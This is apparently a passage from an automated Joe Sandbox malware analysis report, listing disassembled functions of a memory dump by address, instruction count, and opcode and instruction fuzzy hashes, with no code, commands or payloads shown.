                                  • Instruction Fuzzy Hash: E031453692051AAFEB15DB58C841EBFFB74EF80720F014429EA01A7250E7319E10DBE0
                                  Function 012B892A Relevance: 1.3, Strings: 1, Instructions: 47COMMON
                                  Download Yara Rule
                                  Strings
                                  • AVRF: AVrfDllUnloadNotification called for a provider (%p) , xrefs: 012B895E
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: AVRF: AVrfDllUnloadNotification called for a provider (%p)
                                  • API String ID: 0-702105204
                                  • Opcode ID: b41e9e42b9f34e12f81c2b01cc9c1f9975a8cea308248dfdccd4fdc1ff384d55
                                  • Instruction ID: 81ece34174124112cd2d92fc6b2c22203b4e27ad28e843881a4f31768c47142d
                                  • Opcode Fuzzy Hash: b41e9e42b9f34e12f81c2b01cc9c1f9975a8cea308248dfdccd4fdc1ff384d55
                                  • Instruction Fuzzy Hash: 8201D471230B269BEB306E5598C4BFA7B69EF867D4F04041CE74906691CB30A880C792
                                  Function 012D2000 Relevance: .8, Instructions: 757COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: f615104bc9b6e0fc126dc611382b16aef24de0a1fa291f9bb134b9fdf19d980e
                                  • Instruction ID: 3dddd128fa9cf2b69d755709dad0af162d2cc4a506ad6e5cecd5399a023ca71e
                                  • Opcode Fuzzy Hash: f615104bc9b6e0fc126dc611382b16aef24de0a1fa291f9bb134b9fdf19d980e
                                  • Instruction Fuzzy Hash: 0142B031628342DFE725CF68C891A6BBBE5AF88300F58492DFA92D7250D771D845CB52
                                  Function 012C8158 Relevance: .6, Instructions: 617COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: c0e354380eebdb3ce730166f2ae7110102b6a97cdc3d916ef189b390f33092e4
                                  • Instruction ID: 8c7fb1a71833f453ce1f7f36d173c14633fd9f6a220b5c431d9551470c7f20d1
                                  • Opcode Fuzzy Hash: c0e354380eebdb3ce730166f2ae7110102b6a97cdc3d916ef189b390f33092e4
                                  • Instruction Fuzzy Hash: F6425D75A202199FEB24CF69C881BADBBF5BF48700F14C19DEA49EB241D7349985CF50
                                  Function 01242840 Relevance: .6, Instructions: 605COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 4d3a4936f05092685f1116be36e5c048b55e935546eb0be71c9e392e48ebc913
                                  • Instruction ID: 52c63cbeebc0b58ae407ff33e9fcc27a1e7f2357fa0c3276b97fdc8194bda4f7
                                  • Opcode Fuzzy Hash: 4d3a4936f05092685f1116be36e5c048b55e935546eb0be71c9e392e48ebc913
                                  • Instruction Fuzzy Hash: 9B32BB70A206568FEF29CF6DC8447BEBBF2BF84304F24411DE6869B684D775A845CB90
                                  Function 012DA118 Relevance: .6, Instructions: 591COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: aaea2d26f1947235ad2a8202ce1034c3eef7d3d7811df999b606da2c662a7812
                                  • Instruction ID: cc2b7576589d0ab79e5a513e8d07485a1eac3b518bf27bf60905406bacc09b82
                                  • Opcode Fuzzy Hash: aaea2d26f1947235ad2a8202ce1034c3eef7d3d7811df999b606da2c662a7812
                                  • Instruction Fuzzy Hash: 5322CF706346628FEB29CF2DC095B76BBF1EF44300F18845ADA968F286D7B5D452CB60
                                  Function 01236A50 Relevance: .5, Instructions: 548COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 2597092fb8e90559f1a0ab910e2eb6893f53d855092c2c7416dad5abf359091e
                                  • Instruction ID: 9f15d942316b88da157572d601a898918f491640d699d87e308edf3b609611e3
                                  • Opcode Fuzzy Hash: 2597092fb8e90559f1a0ab910e2eb6893f53d855092c2c7416dad5abf359091e
                                  • Instruction Fuzzy Hash: A732CEB0A20206DFDB25CF6DC480BAABBF5FF88310F14456AEA55AB391D770E951CB50
                                  Function 01254A35 Relevance: .4, Instructions: 423COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: e8a3620866af67e9ba5ee0a5ffcffd4608486dc740fad13053f627f14a392904
                                  • Instruction ID: d82c3a9a27850ea9a57c9e25b2ab3c064fa3cd28db005fc066ad8642e5a42960
                                  • Opcode Fuzzy Hash: e8a3620866af67e9ba5ee0a5ffcffd4608486dc740fad13053f627f14a392904
                                  • Instruction Fuzzy Hash: 34F17D71E2124A9BDF55DF99D480BAEFBF5BF48714F048129EE05AB240E774E881CB50
                                  Function 012C892B Relevance: .4, Instructions: 386COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 58c68dea28498cde863ab9bad6e6db5766cbf1b0c20bcd22dbc33ddfa587f701
                                  • Instruction ID: 6b00f8d6f1feb17518cb342e4f163c071b0dfc1889963e5b8efd1173d6122b0b
                                  • Opcode Fuzzy Hash: 58c68dea28498cde863ab9bad6e6db5766cbf1b0c20bcd22dbc33ddfa587f701
                                  • Instruction Fuzzy Hash: DAD1F371A2061A9BDF19CF68C841AFEB7F1AF88B04F18C26DDA55E7241E735E901CB50
                                  Function 012365D0 Relevance: .4, Instructions: 383COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 38dc6de8439f81f555dd80bfcb632d5648b2751dff4352834bef7c6e458107a0
                                  • Instruction ID: 45071660d79976352047a413300b38c29e4ff67a063b1239715cfdc352820f0f
                                  • Opcode Fuzzy Hash: 38dc6de8439f81f555dd80bfcb632d5648b2751dff4352834bef7c6e458107a0
                                  • Instruction Fuzzy Hash: 06E18DB1618342DFC715CF28C090A6ABBE4FFC9314F05896DEA9587351DB71EA05CB92
                                  Function 01228397 Relevance: .4, Instructions: 380COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: cb0a4134191dde27d518ef41552a8aeabf8c71cc99a69648c47ef8aa4c5939d8
                                  • Instruction ID: e7ec48e702d02e2c0915643575b3099b9e4602452cba069b6e40e4a77462e9ec
                                  • Opcode Fuzzy Hash: cb0a4134191dde27d518ef41552a8aeabf8c71cc99a69648c47ef8aa4c5939d8
                                  • Instruction Fuzzy Hash: 3DD1D271A20227AFDB18DF68C891ABE77E5FF54308F04422DEA15DB281E774E954CB60
                                  Function 012B8243 Relevance: .3, Instructions: 322COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: c58da6bef63a17e65f3132630e1fabe04f2e2fb92a18dec9866503995c4710af
                                  • Instruction ID: 63e84e173a2d75d2d966c5d67354b9daec6a1ebfe623907b6fcf3b83f9b658b1
                                  • Opcode Fuzzy Hash: c58da6bef63a17e65f3132630e1fabe04f2e2fb92a18dec9866503995c4710af
                                  • Instruction Fuzzy Hash: 18B19574A106069FDB24DF98C980EFBBBBDFF84344F10445EAA4697791DA34E945CB10
                                  Function 01240535 Relevance: .3, Instructions: 300COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: c61ad9210afadd02b75b489723f8fea184d45ce3a0816f7da46b339e1a5f1bc9
                                  • Instruction ID: a21bf65402d2f8e74fb55a71091ebbbab497fc658030d9263b03f5d2cecc72a7
                                  • Opcode Fuzzy Hash: c61ad9210afadd02b75b489723f8fea184d45ce3a0816f7da46b339e1a5f1bc9
                                  • Instruction Fuzzy Hash: C6B1D331624646AFDB2ADB68C950BBEBBF6FF48200F140159E7529B281D770E981CB94
                                  Function 012383C0 Relevance: .3, Instructions: 281COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 0c52a3d12b0ba47d9208d5d11aaa16c1c465351856bff7e8640b47624776ff19
                                  • Instruction ID: 9f3c59bb2e63f8e21549754357652e26d951b3d62f261336bf10a80ebfea1f79
                                  • Opcode Fuzzy Hash: 0c52a3d12b0ba47d9208d5d11aaa16c1c465351856bff7e8640b47624776ff19
                                  • Instruction Fuzzy Hash: 0EC15AB41283428FDB64CF19C484BABB7E5FF88304F44496DEA898B291D774E945CF92
                                  Function 0122C427 Relevance: .3, Instructions: 280COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 7973fd406f412b80f92f305aed40cd2ae1c08b8f408d59cd56055b8c6ffb88ce
                                  • Instruction ID: b70464577ba860335623489bff55cde6b3afe874ab44951a79c539d2eb9c8647
                                  • Opcode Fuzzy Hash: 7973fd406f412b80f92f305aed40cd2ae1c08b8f408d59cd56055b8c6ffb88ce
                                  • Instruction Fuzzy Hash: 58B17370A202669BDB74DF58D890BBDB3B5EF44700F0485EAD50AE7281EB70DD96CB21
                                  Function 0125E5E7 Relevance: .3, Instructions: 278COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 524e72f5f952e663088e548f1f407dce962aa82154cd46481b1fe0252d1a2c59
                                  • Instruction ID: 664f54f0977668b8ab2180f8f7d2a40e6fe3fb6c1fc0f03bee4aaed6c0ec0493
                                  • Opcode Fuzzy Hash: 524e72f5f952e663088e548f1f407dce962aa82154cd46481b1fe0252d1a2c59
                                  • Instruction Fuzzy Hash: 5DA11231E30256AFEF61DF9CC984BAEBFA4AB04750F064125EF50AB281D7749E40CB91
                                  Function 01270185 Relevance: .3, Instructions: 276COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: dbabc282a7abb154aeae9ec39a596336ca6f810ff352abd0cb010d2fcca04b34
                                  • Instruction ID: bd3145027c5d1e36834bc952f7f1346a8857548dc7e703b02387337626dfa2e7
                                  • Opcode Fuzzy Hash: dbabc282a7abb154aeae9ec39a596336ca6f810ff352abd0cb010d2fcca04b34
                                  • Instruction Fuzzy Hash: 8EA1DF70A20616DFDB25DF69C8A1BABB7E4FF45318F004029EB0597281DB74E849CB54
                                  Function 01304500 Relevance: .3, Instructions: 275COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 71946796a6a7dca2b5c0c8faaaba26d91ecfeba9750542efdd4a55573f616030
                                  • Instruction ID: 84e264a489680ad04521fd10db7efffe8cc906cebaa4dcb7d0670f473b7947fd
                                  • Opcode Fuzzy Hash: 71946796a6a7dca2b5c0c8faaaba26d91ecfeba9750542efdd4a55573f616030
                                  • Instruction Fuzzy Hash: ABA1D172614612DFC726DF18C990B6ABBE9FF48718F05092CF6459B691D335EE00CB91
                                  Function 01302B57 Relevance: .3, Instructions: 266COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 6ce3715ed4799cd0a993ea830d382c3077ea0590534c70b07cf682ff4d409637
                                  • Instruction ID: f2d1aa7346d262d51e369285a1357d7d5e6406d8c1773c58fd5ca5919594eaf4
                                  • Opcode Fuzzy Hash: 6ce3715ed4799cd0a993ea830d382c3077ea0590534c70b07cf682ff4d409637
                                  • Instruction Fuzzy Hash: 47B12971E0061ADFDF2ACFA9C894AAEB7F5BF48314F148169E914A7790D730AD41CB90
                                  Function 012B60E0 Relevance: .3, Instructions: 264COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 6cb36b479a2df0c7e071d23582671b7122d6aed0fae493233f14d7e1444f9a51
                                  • Instruction ID: 345cff8f86da688b6cf43b2ca940350e32c87e39c1ecf19cfa24433a23c5b7a2
                                  • Opcode Fuzzy Hash: 6cb36b479a2df0c7e071d23582671b7122d6aed0fae493233f14d7e1444f9a51
                                  • Instruction Fuzzy Hash: ED91A171D21216AFDB15CFA8D8C4BFEBBB9AB48750F144169EB10AB341D774D9008BA0
                                  Function 0124E3F0 Relevance: .3, Instructions: 261COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 490d13ec7ff5fbf73b66a47488e2392215c2a33aa7d2d5b805af6faf1feb1761
                                  • Instruction ID: 96a75f1b360623bdb3906f2a25fc5b08a665cf5816b02625100b71895264ec91
                                  • Opcode Fuzzy Hash: 490d13ec7ff5fbf73b66a47488e2392215c2a33aa7d2d5b805af6faf1feb1761
                                  • Instruction Fuzzy Hash: 88914771A20222CBFF28EB2DD441B7D7BA1FF94724F064069EE059B340E638D841CB91
                                  Function 01286ACC Relevance: .2, Instructions: 226COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 109c960117ff232a2bf9a73111efbe6eba276aee669c2dfd97beaa65d0a1f09c
                                  • Instruction ID: e6acb7559ab718f0dfa4ae17f8304d7dfe7e3b465ee925fff920ce02ca4b6d47
                                  • Opcode Fuzzy Hash: 109c960117ff232a2bf9a73111efbe6eba276aee669c2dfd97beaa65d0a1f09c
                                  • Instruction Fuzzy Hash: 62819571E116169FDB19DFA9D840ABEBBF9FB48700F04852EE545E7680E334D940CB94
                                  Function 012FAB40 Relevance: .2, Instructions: 222COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: e20f57e4ff007d65908e0e6f7ea2c5d260c397918ed067619b1479e5480266a4
                                  • Instruction ID: f1a39afbfaecf74960a8f3ddf9f453755d12c8d6a788b7f97e0e6c14886e96d5
                                  • Opcode Fuzzy Hash: e20f57e4ff007d65908e0e6f7ea2c5d260c397918ed067619b1479e5480266a4
                                  • Instruction Fuzzy Hash: 13817131A2020A9FDF19CF98C491AAEFBB6BF94310F14857DDA1A9B385D774D901CB50
                                  Function 0126E284 Relevance: .2, Instructions: 212COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: a530bbf8fd99ef0cdc7e7087d247e2f72f60bf52f6f2e634f805479565a7ecaa
                                  • Instruction ID: 17942d36317e213d4700767dc166c32758b83759b6e670eb35f132b3e4163bd5
                                  • Opcode Fuzzy Hash: a530bbf8fd99ef0cdc7e7087d247e2f72f60bf52f6f2e634f805479565a7ecaa
                                  • Instruction Fuzzy Hash: 4D81B275A1060AEFDB21CFA9C880BEEBBFAFF48344F114429E655A7290D730AC55CB50
                                  Function 0124C640 Relevance: .2, Instructions: 206COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 4720a84b6d5d6b6670c58ca0ecd1d2e2e394c64ca62cc338bec0b7a57f839b83
                                  • Instruction ID: 56ad14913bf87919c14fc971fc67e50bf42553be879756d4d08639bf3ee34dd2
                                  • Opcode Fuzzy Hash: 4720a84b6d5d6b6670c58ca0ecd1d2e2e394c64ca62cc338bec0b7a57f839b83
                                  • Instruction Fuzzy Hash: FB71C0B5D2526A9FCB29CF6CC4917BEBBB4FF59710F18411AE941AB350D7709810CBA0
                                  Function 012E47A0 Relevance: .2, Instructions: 202COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 942ba0f1e9796a4988bf5f16100e6e62818c1b4fb76e1b008cb6be0d8b1d30b0
                                  • Instruction ID: 5665386bb406c8185a3f99ea16c967957cc2bcc3ec2c920623ffda245b821327
                                  • Opcode Fuzzy Hash: 942ba0f1e9796a4988bf5f16100e6e62818c1b4fb76e1b008cb6be0d8b1d30b0
                                  • Instruction Fuzzy Hash: C47171B0A20289EFDB20FF59D959AAABBF8EF90310F50415EEA10E7358C7359940CB54
                                  Function 0124260B Relevance: .2, Instructions: 201COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: a879d2eb5e22355dbc738cd8b287d0f13f26ed6363e9754440219d299681df1e
                                  • Instruction ID: 8691d18b1b728ca9ae512b3922ff8158e6c8da5ddb14572ddb04adc174599476
                                  • Opcode Fuzzy Hash: a879d2eb5e22355dbc738cd8b287d0f13f26ed6363e9754440219d299681df1e
                                  • Instruction Fuzzy Hash: F571CE31624642CFD31ADF2DD484B2AB7E5FF88310F0485AAF9988B352DB74D845CB91
                                  Function 012B035C Relevance: .2, Instructions: 198COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: f01f26b9d4523bb8af8d0dc1087c2bf1dc413617a4b2b84ce5c3b8fc37ed168b
                                  • Instruction ID: c116bc3dfb69903200da4d64ef6e05755897f841578dd517429e4cf808e637b8
                                  • Opcode Fuzzy Hash: f01f26b9d4523bb8af8d0dc1087c2bf1dc413617a4b2b84ce5c3b8fc37ed168b
                                  • Instruction Fuzzy Hash: 66718D71E2061AEFCB15DFA9C984EEEBBB8FF48340F144569E505A7250DB34EA01CB94
                                  Function 012C62A0 Relevance: .2, Instructions: 198COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 9c1e83fee876fa2ccaa85f6265975b517aa24dcdb83b2c2a2faeca0d865e7564
                                  • Instruction ID: c933b92666838660c3b2f8dedf7b5a5f3e58055cf365e3dbfccd194c5b78ee99
                                  • Opcode Fuzzy Hash: 9c1e83fee876fa2ccaa85f6265975b517aa24dcdb83b2c2a2faeca0d865e7564
                                  • Instruction Fuzzy Hash: AC71D032260A02EFE7369F18C845F66BBA6EF44B20F14462CE355872A1D775E944CB50
                                  Function 01238AA0 Relevance: .2, Instructions: 197COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: fd08e68c8a3ea175ace8ed573afadee8dd9df6738ac086c92474579ee9d938a0
                                  • Instruction ID: 926a90acabd3bfa5f753bb76bedcb1f42deae9b728eda79f6934b17533709168
                                  • Opcode Fuzzy Hash: fd08e68c8a3ea175ace8ed573afadee8dd9df6738ac086c92474579ee9d938a0
                                  • Instruction Fuzzy Hash: 3981B1B1A24356DFDB28CF5CD584B6D7BB6BF88310F15426DEA00AB281E7749D40CB94
                                  Function 012EA250 Relevance: .2, Instructions: 184COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: d535a6f354983c0b2cbffdde088e70d68a18aeceb9a3556b787e1e227d5f22ac
                                  • Instruction ID: 090ea8dc9816caff6d8c9a267f0c46210131ab53f788c636d4607c7432da4466
                                  • Opcode Fuzzy Hash: d535a6f354983c0b2cbffdde088e70d68a18aeceb9a3556b787e1e227d5f22ac
                                  • Instruction Fuzzy Hash: C051D372524712AFD722DE68C848E6BBBE8EFC5750F414929FA44DB150D770ED04CBA2
                                  Function 012D8350 Relevance: .2, Instructions: 161COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: f432337158538b2c0c5af8f85a9bc27b96c3be22b6a64f89c0553cb8e209eea3
                                  • Instruction ID: 7816be6c84c3a99207cebccfac86c5ec54789c630acfc3161ab16f781835e2ee
                                  • Opcode Fuzzy Hash: f432337158538b2c0c5af8f85a9bc27b96c3be22b6a64f89c0553cb8e209eea3
                                  • Instruction Fuzzy Hash: C751C070910705DFD721DF5AC880AABFBF8FF54710F10461EE296976A1D7B0A545CB50
                                  Function 0126E443 Relevance: .2, Instructions: 158COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 664b0d4da8edffa2932006b7ba018d02a260b19f3f7d1523e91831b2f46bf339
                                  • Instruction ID: 60cdac2795ba3a6f395dff11b8fa4312c77a41c9b8262ab42b50dcbc72963862
                                  • Opcode Fuzzy Hash: 664b0d4da8edffa2932006b7ba018d02a260b19f3f7d1523e91831b2f46bf339
                                  • Instruction Fuzzy Hash: 7D515C75220A16DFCB26EFA9C980F6AB7FDFF14744F510429E641972A0E734E980CB50
                                  Function 012D4180 Relevance: .2, Instructions: 156COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: e69f6c027eda712f7060d1500864b63e80c9ce79610513f7822790fee60737d8
                                  • Instruction ID: 60aca2ea59f328e5c5194fad55511efc67efe8507ae090f8ddbe84e1c57835e3
